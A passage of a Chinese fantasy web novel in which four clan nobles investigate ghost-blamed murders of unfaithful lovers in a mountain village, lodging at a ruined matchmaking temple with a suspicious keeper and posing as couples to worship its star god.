“也不知道墨邹那事如何了……”顾於眠把玩着手中的小玩意,随口问了句,“萧家主可有来信?” “仇敌相见,恐怕要把那墨邹千刀万剐。信倒是收到了,只是信中有几分真还得自个掂量,倒不如盼他保管好里边的东西。”谢尘吾望着窗外,眼中淡漠。 “萧家主之言并非不可信,我们卖了他一个人情,此时不还,便要拖到来日,岂不更麻烦?”顾於眠依旧笑着,“十五族勾心斗角百年有余,多疑早不是病了。” 严卿序闻言叹了口气。 “也不知道那兵符究竟生得什么样,要是能看一眼就好了。”顾於眠见严卿序愁眉不展,知道他在担忧什么,但只装作不知道,移开了目光。 现下四地都不太平,谣言四起,十五族都身陷囹圄,也都在暗地里琢磨是哪家在下绊子、搅混水。可惜这一个个表面光鲜的氏族是决然不可能推诚相见的,所幸唇亡齿寒的道理十五族都懂,撕破脸的事,没哪族会轻易做。 可如若有痴人生了贪欲,妄图刨开瘠土,斩草除根,换十五族相安,恐怕得等赔上性命才会真正明白其间龙争虎斗,早已是血淋淋地寻不到边了。 顾於眠垂下眸子,闭目养神。 他知道严卿序是个心系苍生的纯善君子,但其实他并不明白严卿序成日追逐的是什么东西。所谓大义皆不过仁人一厢情愿罢,分明讨不得一丝半点好处,到底有什么必要? 成日想着那些虚缈道义有何用?哪怕是有通天的本事,十五族之人也不过难逃生老病死的凡夫俗子,本便是泥潭扑腾的鳅鳝,又何苦再自我折磨。 想要这世上恶人都死个干净,本就是无妄之谈。 只是愈是那么想着,心中一处愈是疼得他牙齿发颤。 “你可是忘了倾行所愿?” 顾於眠咽了口唾沫,强抑住颤抖,睁开眼来,佯装无事地瞥了瞥身侧坐得端直的严卿序。 清风明月,渊清玉絜,温润如玉,都是他。 正人君子,是他那样的。 “漱雪澄明”才不该是自己那般假仁假义的善人。 顾於眠察觉谢尘吾在看他,于是笑着回过头去,只是谢尘吾那目光是冷冷的,眼底莫名生着些轻蔑与敌意。 “有时间想那玩意生得如何,你倒不如好好想想到了榕村后怎么探到那不知是人是鬼的东西。你们禮间四族的人可是说派了会术法的亲兵去也什么都没查到的。” 闻言顾於眠还是笑:“船到桥头自然直。” ------------------------------------ 酉时那马车才终于在榕村停了下来。 已是斜阳暮晚,村中果然空荡荡的,炊烟早早散了个干净,只能隐约听见屋内人低低的交谈声。 “呵……严卿序,你试过么?” “试过什么?”严卿序听谢尘吾语气不善,知道他又是心生了无名的怒火,只轻轻应话。 “露宿荒野。” “……” “哎呀,尘吾,我们寻个庙将就几夜便是了,本就不打算久留嘛,现下是任何一户人家都不会轻易给我们开门的。”顾於眠又摆出一副天下无事可忧的笑脸来。 “这村就一个求姻缘的庙……”江念与看着若讱给的舆图,抬手指了指村后山方向。 “那便上山去。”顾於眠倒是洒脱,没有任何顾虑。 “现在么?传闻中不是说山中夜半有啼哭声么?恐怕夜里山路要更艰险难行。”严卿序朝那村后小山的方向望了望,只见半山腰处笼着层厚重云雾,看不太清。 “为的不就是这个嘛,择日不如撞日,反正一拖再拖还是得入山的,遑论这村中没一处可歇脚的地,索性直接上山去,没准还能打他个措手不及。” 顾於眠微微一笑,瞧上去天真烂漫,并不似深思熟虑过的模样,可偏偏他口中话让人挑不出毛病。 “说的……也是。” 虽说已做好了心理准备,却还是没料到四人方一踏上曲曲绕绕的上山道,呜呜哭声便惊雷似的于耳畔炸开。那哭声哀怨悲凄,说不上是男人还是女人,老丈还是幼童的哭声。 哭声鬼魅般绕山响,加之以深林间不时涌来豺狼嘶叫之声,有如亡魂报丧,没完没了。 四人都不愿城南密林走散一事重演,本来还有些分散的队伍逐渐聚拢起来。顾於眠一只手轻拽着严卿序的长袍袖,一只手牵住身后的江念与,谢尘吾同江念与并肩而行,却不屑伸手够人,只悠悠迈着腿向前。 “嘘——仔细听,有人在说话。” 三人听闻顾於眠之言,皆凝眉屏息。 “呜呜呜——负心汉,呜呜呜——薄情郎,呜呜呜——偿命来——” 7. 破庙 山路曲折,寒风刺骨。四人费了近一个多时辰才终于寻到了那庙。 只是那庙明显破败了,庙门红漆斑斑驳驳,脱落的金箔早不知散到了哪儿去,红门一角密布木虫啮蚀留下的细碎孔洞,灰白的粉末落得满地都是,来人将手轻轻一碰,又会有新尘从中飞出。 顾於眠踩上爬着裂口的石阶,仰首,见那石柱上有数处碎裂,经年的刀痕在其间余下岁月的残迹,自诉荒败颓景。 “这能住人?” 谢尘吾用手掩住口鼻,轻轻咳了几声,心底郁闷——让他于此类尘土密布之地将就,和让他去死又有多大分别? 没人理会他的嘟囔,顾於眠兀自弯指叩响了虚掩的庙门,静待半晌,仍未等来应答。 “这会恰是夜深鬼哭之时,恐怕无人会守着这破庙吧?”江念与叹了口气,也上前去帮他叩门。 “倒也是……”顾於眠咂摸着这小庙败色,只大咧咧道一句,“那便打扰了!” 庙门被顾於眠缓缓推开,扑面而来的灰尘登时把靠前的三人给呛出浊泪,端立稍远处的谢尘吾见状又抱着臂缓缓朝后退了几步。 “咳咳咳……这得有多久无人打扫了啊……”顾於眠快速摆手拂去眼前尘,见里头灯火晦暗,黑黢黢一片,只得瞪大眼朝其中张望。 正中摆的果真是泥塑的六合星君像,那星君慈眉善目,笑意温和,都道是虔诚叩拜星君,能求来天赐的姻缘。可惜俗尘乱事搅了这一方清净,生死尚且难料,又何来闲心顾此红尘事? 因而,自木梁顶垂落的蛛网牵在了星君的额间,俗灵僭越神佛,香火断绝,供台上的小炉里堆叠着经年的香灰。 三人怔愣半晌,领头的顾於眠正欲跨入庙中,仔细查看,却听得佛像后突然传来一人的惊呼——“什么人?” 本凝于墙面的影子晃了晃,旋即钻出个着素白长衫的男子,长衫泛灰,那男子亦面色苍白,瞧来约莫而立之年。他病恹恹似的抬眼瞅来客,皮肉贴骨,形容枯槁,整个人虚弱得仿若将熄的烛。 “啊……您是这儿的守庙人么?我方才叩门怎么没听见您回答?”顾於眠见他不似带发修行的僧人,于是问。 那人迟疑着点了点头,旋即放下手中提的装满水的木桶:“我耳朵坏了一只,不是很好使了,方才并未听见什么叫唤声。” 说着那人侧了侧脸,露出自己那只坏死的耳朵:“还望施主体谅……” 顾於眠摆了摆手:“无妨,是我们深夜来访,扰了您的清净。” 他言罢莞尔一笑,一双眼借着闲谈的间隙瞥看那桶清水,见其间明澈,无有泥沙,又道,“早有耳闻这里是块宝地,受六合星君赐福保佑,我们几人便是慕名而来求永结良缘的。” “几位施主来得迟了。”那人边说边往外轻吐出一声喟叹,他蜷着背,瞧上去尤为落寞,“近来这庙已经断了香火了……”。 “你们在门边磨磨蹭蹭做什么?”谢尘吾近前时恰同那人打了个照面,有刺骨寒意从他眉目间倾泻,戾气逼人。 那人见谢尘吾神色不善,却也并不惊怪,他扶着墙从嘴角挤出个苦笑:“几位施主瞧着皆是一表人才,还不知如何称呼?既来此求姻缘怎不带上心上人呐?” 他顺手拾起挂在桶沿的一块破布擦了擦手,言罢顿了顿,旋即仰首,又问:“啊……是我糊涂……四位是什么关系?” “自然是眷侣。你就唤我‘余公子’便成。”顾於眠不假思索地回答,他将手探至身后,随意扯过一人,面上从容,心底却不住默念着——只要不是谢尘吾便好。 待那人被拉到了身侧,顾於眠才笑盈盈地偏头看他——原来是严卿序。 顾於眠之举来的突然,严卿序怔愣片刻,所幸反应及时,这才遏制住心头不合时宜的悸动,笑道:“我姓‘秦’。偶闻这庙中星君灵验,此番前来便是为求星君赐福,愿得白头偕老、比翼双飞。” 那人闻言不好意思地挠挠头,笑道:“我们这村不兴男风,鲜能碰上这情况呢……但只观二位公子面相便知皆是人中龙凤,真真是面如冠玉呐!还祝两位公子感情和睦,地久天长!” “那……这两位公子?也是一对么?” 江念与一怔,正欲矢口否认,谁知却被谢尘吾猛然拉住手臂扯了过去,只听他淡淡答:“是。专程来此寻星君恩赐。” “啊呀,那祝福你们!愿两位公子情比金坚、百年好合!我方才瞧两位公子面上都携着些淡漠疏离之感,还以为只是同行,并不熟识,没曾想是我弄错了!”那人讪讪一笑,瘦如柴的手搔了搔脖颈,“两位公子皆有脱俗之姿,相貌堂堂,很是般配呢!” 眼见谢尘吾和江念与两人脸色都不好看,顾於眠忙挡至俩人身前,笑得灿烂:“还不知该如何称呼您?” “我乃俗人一个,名唤‘齐时负’,施主随心叫便是了。只是这会庙中香火已断,既缺红烛,又少贡果,今日恐怕祭拜不得,明日我再到村中置备,委屈四位施主等候一夜了。” 那人虽这般说着,面上却是肉眼可见的高兴起来,口中絮絮叨叨:“真好呀,真好呀——” 那三人本都还有些戒备,谁知顾於眠却几步上前拉起了齐时负的手,眉目弯弯,送去的笑尤其无邪。 “齐兄,说来惭愧,我们此番前来舟车劳顿,万不知这榕村竟有闹鬼之说……夜半来此实为寻不到住处的无可奈何之举。可否容我们借住此庙几夜,我们四人皆是正人君子,绝不干偷鸡摸狗之事……遑论此处有神灵守护,您尽管放心便是!” 此地四欢喜四离恨一事闹得沸沸扬扬,但凡能离开的,都早早收拾家当离开了这晦气地。被迫留下来的,夜里皆禁闭门窗,不敢外出。顾於眠不曾想过他能轻易松口,但他们现下无处可去,哪怕是要叫他死皮赖脸地求,他也不会犹豫。 谁知齐时负听完那话却尤其爽快地点了头:“自然可以,我从小在此长大,无人相伴的日子寂寞的很。只要四位公子不嫌弃这小庙破败,自然是愿意留下便留下。我就住庙后的小屋里,若是有什么需要尽管同我说便成。” 四人皆愕然,却又都慌慌忙忙依顾於眠的模样推手作揖,谢过齐时负。 ------------------------------------- 那庙中空阔,孤卧墙角的烂稻草上已停了好些飞虫。严卿序拿来扫帚仔细清理了西南角的尘土与飞灰,又整齐铺上齐时负给的几张干草席,这才唤三人入庙休息。 已是月上柳梢,谢尘吾仍旧犟着不肯落地,连墙都不倚,只一人抱着双臂立于佛像后的窗口处盯着齐时负那间窄屋,眼底像是要生出寒风来。 顾於眠将一盏方点亮的火烛端至面前,压低声对严卿序和江念与道:“我方才借握他手的契机探了他的经脉,确同常人无异。只是这村中人都怕得夜里闭门不出,他却没半分惧意,虽说约莫是个信神不信鬼的纯良人,却也无从下定论。” “世上塑肉身之法千奇百怪,如今的尸鬼亡魂是如何模样,恐不能妄下定论。他是人是鬼,尚且难说。”严卿序见顾於眠凑得太近,不觉转了转眸子,微微侧过头去。 “倒也是。这世道,是人是鬼尚且分辨不得,遑论善恶……”顾於眠无奈一哂,“安全起见,咱们今晚俩人一组轮流守夜,子时开始,寅时一到便换另一组。只是……依尘吾的性子,怕是这几日都不能睡了。” 江念与闻言瞥了眼侧立窗边的谢尘吾,那人察觉目光,也困惑地回头瞧他。四目相对时,二人都不自禁蹙起眉,像是瞧见了什么晦气东西似的收回了目光。 为了守住“神仙眷侣”之名,严顾被捆作一组,江谢也自然而然成了一条绳上的蚱蜢,哪怕相看相厌,也无人能说一句不。 眼见顾於眠已往草席上躺下了,尚无倦意的江念与只得去唤谢尘吾一齐至附近林中寻找阵法的影子,谢尘吾瞧上去满身怨气,却还是跟了过去。 尚未有什么发现,已至子时,二人只得急急赶回庙中。 月黑风高,山林间鬼哭之声如野猿悲啼,齐时负那间破木屋同主儿一样在萧瑟晚风中发着颤。屋中了无火光,总错让人觉得像口窄窄的破木棺材,一片死寂。 庙的西边立着一块断了半截的石碑,碑上刻字已在风中磨碎了,难辨字形,同那小庙一起被淹没于深山林海之中。 严卿序躺在顾於眠身边,同“床”而不共枕,可那君子仍旧心跳如擂鼓。 顾於眠背对着他,他微微侧目便能窥见顾於眠披散于肩的柔软长发与平直的肩膀。但那君子的目光仅仅停在肩头,没再往下。 心上人终于近在咫尺,可严卿序只能将手默默攥成拳,压在自个腹上,而后深吸一口气,静下心去。 不可想,所谓欲念。 不可贪,所谓友人。 在并不清醒的夜里,有浅淡药草味随风散至他身,将他笼浸于一片苦香中。 ------------------------------------- 寅时已过了将近半个时辰,江念与才揉揉站得发酸的腿,入庙去唤顾於眠。 “阿眠,该……” 江念与低声唤顾於眠,不曾想话还没说完,便被顾於眠抓住了手。 只见他利落起身,呵呵笑道:“这不醒了嘛,两个时辰还挺长……” 江念与闻言皱起眉:“你又……” 顾於眠用左手轻轻挡在他唇边,笑着摇了摇头:“念与,快躺下吧,一夜未眠,累坏了吧?” 一旁的谢尘吾用他那把“罹难剑”撑在地上,微俯下身,对着严卿序便喊——“卿序,严卿序!赶紧起来,我们一起守夜去。” 罹难尚未自剑鞘中脱出,谢尘吾高束起的长发沿着他的动作垂在鞘边,寒面冷剑两相衬托。 这剑是把难得的好剑,却无人知当年仅有十二的谢尘吾为何给剑取了这般不祥的凶名。奈何他冷若冰霜的性子不容任何人去猜他的心思,他心底好似什么都没有,又好似深不见底,满满当当都是心事。 严卿序握住他的手起身时,眼中还有些朦胧:“夜里可有异常?” 谢尘吾摇摇头道:“齐时负没出门,附近林中也没法阵的痕迹。只是满山阴气压得人都快喘不过气了,却如何寻都不见其源,那东西行事滴水不漏,想真正查明白究竟是怎么回事,大抵还要费些功夫。” 这会已是立夏了,寅时过半,许是因为山中夜长,苍穹并无半点破晓的迹象。 顾於眠自顾自坐在庙门口处研究起那块残缺的石碑,本就寥寥的字还被风沙磨花了,即便他欲深究,也根本无从下手。 他转了转眸子,尝试着施法召亡灵,怎知静候良久,却仍未等来回应。 他蹙起眉,又以掌心贴地,迅速拂过六尺之地。倏忽之间,荧荧蓝光如焰火炸开,惊得屋内谢尘吾和严卿序都探出身来。 只见顾於眠抚地之掌遽然一颤,那蓝光霎时熄了个干净。 “如何?” 顾於眠轻轻摇了摇头:“这碑下有棺,用问魂之法却寻不到墓主。只是还不清楚是因为这墓主有名门法器陪葬还是那棺里压根没有尸骨……此外,这碑估摸已有上百年了,我还是想不明白……” “庙旁之碑,是为借庙中六合星君的福光吧?也不似有阴气的样子,为何对这残碑耿耿于怀?” “卿序有所不知,这碑与庙虽不带什么阴气,但周围林中阴气过重。那庙中香火已断了几月,根本护不了这块地。这石碑能立于此百年不倒,绝不是借了六合星君的光,怕是这碑护着这庙呐。” “既有法器亦或魂灵护着此地,亡魂作乱又是怎么回事?我见山下榕村地势开阔面山傍水,当如传闻所言是福地才对,并不似易招引阴魂之处。” “宝地倒是宝地,只是卿序你瞧,越过这座名为裕山的小山,到的可是若地同许地相接处了。” 严卿序循着顾於眠的手望去,果然看见了密密枝桠遮蔽之处露出了平原一角,万里长风拂动青草而过,萋萋悲意却将那盎然生机遮得彻底。 “这山北面是百年前的蔺滁战场,百年前那场仗还算李氏天下间的内斗,许氏王领兵攻打若地,妄想借此打开通往京城的捷道,恰被攻陷在这裕山前。” 有飞沙入眼,顾於眠轻轻咳几声,取出个帕子擦拭眼角。 “那可是场恶战,许氏十万精兵全军覆没,若氏死伤同样不少。因此, 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“自然是欢迎的!”齐时负咧开嘴,笑得爽朗,面上憔悴散去些许,“热闹些真好,我就喜欢热闹些呢。” 微光映在齐时负脸上,倒勾勒出他那副本来便俊逸而有棱角的面容。 昨夜庙中昏暗,众人都看不大清他的相貌,天亮了一瞧才发现,即便他面容清癯,瘦骨嶙峋,但耐不住身量颀长,肩背直挺,隐有常年练武之人的飒沓之风。他将微蜷起的背挺起来时,约莫同严谢二人差不多高。 分明是个壮健男儿,缘何孤守荒庙? 顾於眠盯着他的眼睛,却只从中看到了一片虚无与空洞。 严卿序临下山前不忘反复嘱咐谢尘吾照顾好尚在睡梦的江念与,别走太远,也别去打扰人家休息,谢尘吾嘴上应允了,却到底不知他听不听。 下山中途,顾於眠觉得时机到了,便开口问:“齐兄,你可听闻过村中传的四欢喜四离恨现身的说法吗?我昨夜听这山中果然有哭声呢!当真瘆人……” 齐时负摇了摇头:“信则有,不信则无。余公子不必当真,只当那是猿啼鸦叫就便好。这山中飞禽走兽多的很,什么奇怪的声音没有?可不能自己吓自己。” “齐兄好胆量,只是我们寻思着这山下不发生了好些命案嘛?都说是恶鬼咬死负心人呐。” “如今世风日下,恐怕同魑魅魍魉一类并不一定有所关联。官府大人们若不管,自然还会有愈来愈多借刀杀人的惨案发生。” 严卿序闻言蹙起了眉:“齐兄如何知道那些事是人为还是鬼魂所为?” “我是信佛人,苍生有难,何能怪天?” “都言天灾人祸,若本为天灾,不怪天,却要怪人?”顾於眠冷笑一声,将袖一甩,“齐兄此言,恕我不能苟同。” “这世道,天灾根本比不过人祸。只是……余公子,可是有心结未解?” “何出此言?” “我见余公子神色不对。人呐,这一生也就这样了,余情未了,残怨未消,皆不得安生,公子需看开些。” “受教了。”顾於眠笑得依旧灿烂,他面上笑意真切,不似装的,“齐兄既喜欢热闹,又为何独自守庙?岂不孤单?” 齐时负摆了摆手,笑中掺入了好些苦:“我本就孑然一身。这山中原来的守庙人,也是我的师傅给了我口饭吃,我便跟着他了。只是后来师傅他老人家走了,便只剩我独守星君庙。其实日子久了,也算有了些感情……以前香客多,我看他们恩恩爱爱倒也欢喜,这几月断了香火,才有些寂寞。” 齐时负立在风中,褴褛衣衫随风翻飞,豁达得不似凡人:“其实,红尘尚有惦记之人或物,才受不得这苦吧?若是无牵无挂,无论做什么,是生是死,皆不会让人动容的。” “如若忘不了死人呢?”顾於眠没头没尾地问,连自己都搞不清是在问齐时负还是问自己了。 “作茧自缚。” 齐时负同顾於眠四目相对,那守庙人的眼里闪过几许黯然,他垂了垂眼,从喉底呼出一声长长的叹息。 ------------------------------------- 三人方一踏入村中,哀嚎痛哭便如细针刺入耳中。 “夫君啊啊啊——” 顾於眠一惊,赶忙挤入人群中,只见——有一具七窍流血的男人尸首瘫在街上,男人赤裸上身,淌出的血都干透了,大片暗红从胸口喷至周遭,死而不瞑目。 “我的亲娘嘞……咋一天天总死人……” “咱们还是快些逃吧,这村子不是能活人的地方!” “不做亏心事,不怕鬼敲门!咱又没背感情债,怕啥子哦!” “哎呦喂,俺都同你们讲了,这不要脸的总在外边偷鸡摸狗,是一定会出事的!他不和邻家那嫂子就有一腿嘛……” 一旁跪地哀嚎的村妇闻言哭得更伤心了。 谁知听了那话,顾於眠却浑身遽然一震,他一着急差些扯住那村夫的领口,于是赶忙压住手,急切问:“那嫂子在哪?!” 短短一瞬,心慌之感却如恶狼咬住他的五脏六腑,他觉得有东西在脑海中窜动,几乎要破开他的皮肉而出。 “自然是在自家咯,这郑大哥都这样了,她也怕遭报应呢!就因为她那老实夫君出远门就乱来,也真是,得亏我们没和那可怜的徐大哥说。” 那村人愤愤抬手,指了指几步远的一屋。 眼见顾於眠浑身都抖起来,一旁围观的村人不由叹气道:“咋又吓疯一个啊……” 严卿序将手轻轻拍在顾於眠肩上,谁知顾於眠一把将他的手甩开,冲至那家门前。顾氏行事端正文雅的长公子抛下所有礼节,像头疯犬似的用力拍打木门,目红如血。 “喂!开门!” 久无人应答,顾於眠不顾严卿序的劝阻,一脚将屋门踹开了。 浓烈的血腥味登时扑面而来——空荡荡的屋中,一女子瘫倒在地,双目圆睁,脖颈间还在汩汩淌血,面上泪痕同血交融,尤为醒目。 来迟了。 又迟了。 8. 拜神 “啊啊啊——”跟着过来的村人见状又吓得惊声尖叫。 淋漓鲜红仍在不断向外淌,围观者皆被吓得心惊肉跳,却还是不愿从那屋中退出去。在这时,似乎只要有一人冷不丁捏着嗓子喊一声,众人便会逃命似的作鸟兽散。 顾於眠眸子里尽是模糊的血色,就好若断裂的白骨同腐烂的皮肉相交叠,一层一层地往上搭,垒作一白骨楼,从楼顶落下张人皮布,布恰盖在了顾於眠的头上。 “那陆倾行是死不见尸!” 耳边有人在没完没了地念,嗓音苍老,大约是个街巷中常见的说书先生。他将扇一合,碗一敲,大喝一声—— “杀人是要偿命的!” 顾於眠的腿一软,旋即跌在了严卿序怀中,严卿序扶着他,眉心紧蹙,神色踧踖。 “哎呦喂,怎么也这样了,这月第几个了啊?瞧!这血还没干呢,一定是方才有人趁我们不注意闯进来杀的!” 一胆大村人扯着嗓子大声叫嚷起来,他方说完话,便小心翼翼瞥了眼身后人,像是怕鬼听见,又怕人听不见。 “呜呜呜——这可咋办啊?咋能天天死人啊?” “别哭啦!有这功夫抱怨,还不如尽早收拾家当从这晦气地出去!” “我上有老上有小,咋能说走就走啊?呜呜呜呜……” 众人相互推搡着挤在屋门口,既不想进去,又不想离开。混乱中鬼哭狼嚎一片,有人不经意压着了前头妇人的头发,那妇人于是一边抹泪,一边叫唤起来;有孩子被挤在中间,快喘不过气来了,便哇哇地哭起来,说什么要死了,要死了! 喧阗间,有高声大骂杀人者无情无义、丧尽天良的,也有大喊都是报应、老天无情的,各色叫喊声汇在一处,齐齐涌入顾於眠的耳内,迷迷蒙间似有人在身前用手指着他,冲冠眦裂,嗓音喑哑—— “你杀了人,是要遭报应的!” 顾於眠行事一向从容,此刻却是难以自拔地屏息去细听那怒吼声。他失了理智,像是溺于滔天洪流间,愈是挣扎,愈是下沉。 耳边嗡嗡作响,他眼中并不清明,纵能看见严卿序的嘴唇张张合合,却如何都听不见严卿序的声音。 为什么听不见呢? 他耳畔嗡嗡作响,有无数吵嚷声响一齐涌来,高亢的、尖细的、低浑的,皆在说——“一命偿一命,你早该自刎而去!怎叫你抓着了藉词?陆倾行的夙愿不要你这杀他的无耻小人来了却!你配么?” 我配么? 顾於眠踩在初冬的冰面上,每向前走一步,脚底便传来几声碎裂声,可他还是执拗地往湖中心去。行至一半,他回头望了眼岸边焦急呼喊的亲友,他不仅没转身,反倒疯了般奔起来。黑黢黢的深坑很快出现在眼前,只需再一步便能叫他坠入无间地府! “於眠!” 严卿序猛然攥住他发颤的手,有和煦春风遽然席面,化开的岂止是千尺冰。 “醒醒!於眠!” 自三年前初遇至今,严卿序从未见过顾於眠胆寒至此的模样。他似乎永远豁达无畏,俗尘中无有一物能叫他面露惧色,可如今这般模样,他实在不懂。 严卿序不知道他究竟缘何畏惧,但依旧没有多问,只用自己那温热宽阔的手握住顾於眠还在不住颤抖的手,柔声道:“於眠,我扶你去一旁缓缓吧?此处就先交由我来查看吧?” “我没事……”顾於眠的眼睫一颤,眼中有了几分清明,他遽然从严卿序手中挣脱来,低声道,“多谢。” “卿序,别把此事诉予旁人……好么?” 严卿序颔首,他听得出那语声中有刺骨寒,似乎三年前那明媚、炽热的少年郎,早已成了旧忆中一缕不容他合入掌心间的霜雪,只给他留下条漫长而寂寞的不归路。 是因为三年前那惨案么?还是因为别的什么? 严卿序依旧不问,他一向长于等待,再迫切的欲念他都能压抑下去。他执拗地守在原地,等着顾於眠亲口告诉他,如若垂垂老矣犹未知,他便会心甘情愿地以友人之姿,将年少心动仔细藏好,不叫他发现。 他自然不愿一切还未开始便彻底埋葬一颗真心,但他不可能强求顾於眠,兴许时机到时,他会开口。他从来如此,只若一阵似有似无的风,不求回报地守候在一人身边。 只要能叫那人安心就好。 “这村还让不让人活了啊?” “怎么邪祟净来我们这村啊?!” 齐时负不知道发生了什么,听得人声嘈杂,便抱着贡果也随人潮凑过去看,见屋中女子淌血的脖颈断开来,便也忘了那六合星君是掌管姻缘的,情不自禁便念起——“星君保佑……” 那女子分明刚被杀不久,但入村期间,齐时负寸步未离俩人身侧,并无动手的时间。顾於眠禁不住回头瞥了那还在祈求神明保佑的齐时负一眼,齐时负只给他回了个困惑的目光。 当下俩人毫无头绪,只能镇静下来去验伤。 严卿序道句“冒犯了”,便小心翻看起那女子身上的伤口——她浑身上下都有斧头留下的血淋淋的刀痕,黑红的浆液自破开的头颅中往外淌,手指断了几根,同斧子一齐被抛在她脑袋边。 顾於眠借术法探查一番,欲看死者身上有无术法的遗留痕迹,却是一无所获。 “怎么只有刀斧之伤?难不成真的是借刀杀人……” 尸鬼亡魂向来喜食人的精元魂魄,可这副场面分明更像世仇寻命……没留下半分阴气,亦没带走女子的残魂。 为什么? 真的是为那些可怜人打抱不平么?所以将冷心的薄情人都给杀了? 顾於眠瞥了那沾满污浊的锈蚀斧头一眼,将眉蹙起:“我们还是先回山上吧?官府很快会有人来收拾的,我有些担心念与他们……” 严卿序闻言也点了头,即将迈出门时手一伸便拉住了围观的齐时负。 “此地不宜久留,我们先回庙中吧。” 这事来得实在蹊跷,若真瞄准了负心人,江、谢俩个“无情人”保不准也会沦作那东西的猎物。 不过,这自然是他们多心,当严卿序猛然推开庙门时,谢尘吾正兀自站在离墙有些距离之地,左手撑右手地思忖着什么。 一旁坐着个显然刚起身的江念与,他微微蜷着肩背,睡眼朦胧,衣衫散乱,头顶还绕着几圈打旋的发。听闻人语,他这才轻轻擦着惺忪的眼,用那双氤氲着水汽的眼去看谢尘吾。 “你们怎么这么快就回来了?”谢尘吾见严卿序大喘粗气,尤其诧异,“你们干什么去了?为何跑着回来?” 言罢,他又回过身对那慵慵懒懒坐在草席上的江念与道:“醒了便别干坐着了,办正事要紧,懂吗……” 谢尘吾方不耐烦地说完那话,却见严卿序身后冒出齐时负的脑袋,于是快步走至江念与身边,微俯下身,向他伸出手:“把手给我,我拉你起来……” 江念与自然明白这没说过几句好话的谢氏公子什么意思,便也痛快拉住他的手站了起来。 “还好没事……” 严卿序长舒出一口气,又闻齐时负笑着开了口:“秦公子方才赶着回来是担心二位公子的安危吧?我呐,总还是觉得好人定有好报,您不见那村中死的都是负心人吗?秦公子还是莫要担心啦!” “是……吗?” 区区一个守庙人,闻声不惧,见血不惊,道人比天狠,言无事可忧。 要他如何不怀疑齐时负? 回庙后,俩人都心事重重,倒是齐时负自顾自忙碌起来。他先是仔细用扫帚扫去案桌上厚厚的尘灰,继而用沾水的布一寸寸擦拭过台面。 这会顾於眠才觉得他像是个颇为虔诚的信徒——他面对着那星君像弯腰弓背,连头都没抬一下,动作是尤为小心的。而后他才依序摆贡品、添灯油、插香,没一会那庙中便有了好些生气,就好似这小庙从未断过香火般。 严卿序见顾於眠一声不响地盯着星君看,眼中有些难言的空洞。他不似在仰望佛像,倒像是万物皆空,他在窥视着凡尘无有之物。这几日相处下来,其实不难发现,顾於眠比过去多了不少缄默之时,他总是久久地凝视一处,偶尔流露出几分怪异的怯色。 自古人便有生老病死,也终会长大,严卿序自知贪求顾於眠一如往昔乃他一己之私,只是当瞧见那公子落寞地敛去面上笑意,明朗恣肆的少年意气也一并被石火光阴所剥夺、愈发疏离之时,说不遗憾也是诓人的假话。 他总觉得顾於眠像是憋着一口气,溺于深潭水,挣扎不得。 那双清澈的眼中其实藏了很多东西,表里所差,许已是天壤之别。 他有心结,严卿序却爱莫能助。 严卿序轻轻将手放在他的肩上,柔声道:“还好吗?昨夜是不是也没休息好?” 顾於眠却对他笑着摇了摇头。 “我没事。” 那笑还是明媚灿烂得若春朝暖阳,只是,严卿序不知面具下的人活得是怎样生不如死。 案桌摆好后齐时负便去忙活些庙外打扫之事了,顾於眠却依旧盯着那案桌,兀自坐在墙角思索着,待他终于想明白时已至日昳。 “方才齐时负摆设贡果的方式是百年前的摆法,早在五十年前便已不这么摆设了。”顾於眠耸了耸肩,“他到底是不是人都没个着落……” 严卿序闻言笑了笑,言罢他俯身同三人低声说了些什么,听得谢尘吾直皱眉。 “什么鬼东西,说出来你不觉得荒唐么……” 谢尘吾双眉压眼,近乎是咬牙切齿,严卿序看着他,觉得他像是要杀人,只得赶忙说了好些安抚的好话。江念与瞧着那只炸毛狗似的谢尘吾,又怕被他给咬了,嘴角抽了抽,却愣是没将笑意漏出去。 “兵不厌诈,只要行得通,便不失为好方法嘛!” 顾於眠莞尔,手方要搭上谢尘吾的肩,便被他瞪了回去。 “别碰我!” ------------------------------------- 约是一个时辰后,齐时负将东西都收拾妥当了。 借红烛小焰点燃的三炷香被承托手中,严卿序不由垂眸细瞧,有烟袅袅散开,他虔诚地跪坐蒲团,身边同样跪着的是他钦慕三年的顾家公子。 香头被二人抬手端起平对星君,又高举齐眉,他二人皆面携笑,目含情,虔心捧香,几揖几拜,从容俯伏叩首。 “望星君赐福,庇我二人蓝田种玉,一解相思意。望芙蓉并蒂,良缘夙缔,纵有千山万水相阻,亦可逾越。” 严卿序知道自己不该因此做戏用的胡诌之言失了从容,可他还是忍不住以余光瞥向顾於眠那张灿烂皓白面,见他笑盈盈转过面来,旋即开口道—— “望星君允我二人比翼双飞,琴瑟和鸣。我二人痴意缱绻,惟盼白首成约,共坐春风。” 严卿序一语罢,俩人再一次虔诚叩拜星君,三拜,三敬。 就好若拜天地,拜高堂。 只是缺了夫妻对拜。 “红尘姻缘有何好求,求来的也不知道是祸是福……还两个大男人……” 谢尘吾心中无语,更搞不明白那俩人是怎么一张口就能说出滔滔不绝的谎话,但碍于齐时负在场,他也只能在顾於眠同严卿序完事后,不情不愿地从齐时负手中接过点好的香,跪至蒲团上。 纵使顾於眠再三同二人强调要瞧上去“恩爱”些,然而不光谢尘吾,连江念与都冷着一张脸。 谢尘吾先开了口,江念与紧随其后,皆是言简意赅。 “望早日成婚。” “望长相厮守。” 一个不说与谁成婚,一个不说与谁厮守,总之说了,便是表爱了。再一叩首磕头,他二人这劫便算安稳渡过去了。 他俩不似拜六合星君,倒像是一对有过节的土匪流氓,招了不知什么事,良心发现了,一齐拜过大哥,准备金盆洗手了。 齐时负许是个多情之人,不过是瞧着四人拜星君,竟看得泪眼婆娑。他轻轻擦了擦眼角,笑道:“好啊……真好啊……两对有情人都定能天长地久,星君和我都会祝福诸位的!” 四人有说有笑地离开了,殿后的齐时负回首瞧了一眼那慈眉善目的星君像,却见有一只蝴蝶扇着薄翼,落在了星君额前。断了的蛛网垂落在侧,上泛晶莹水光。 齐时负惊叹一声,眼中泪落了下来。 ------------------------------------- 酒足饭饱,正是晌午时候,日头灼烈,五人皆围坐在庙前绿荫下乘凉。 顾於眠自小口齿伶俐,说起话来絮絮叨叨、满舌生花,因而多数时候,皆是众人在听他讲些趣谈亦或怪事,每每讲至诙谐处总令齐时负也不禁捧腹。 眼见齐时负已然放下戒备,顾於眠勾唇莞尔一笑,又道:“这李氏当真厉害呢,统领一地,还颇得民心。” 闻言,严卿序不动声色地仰首咽下了一口薄酒。 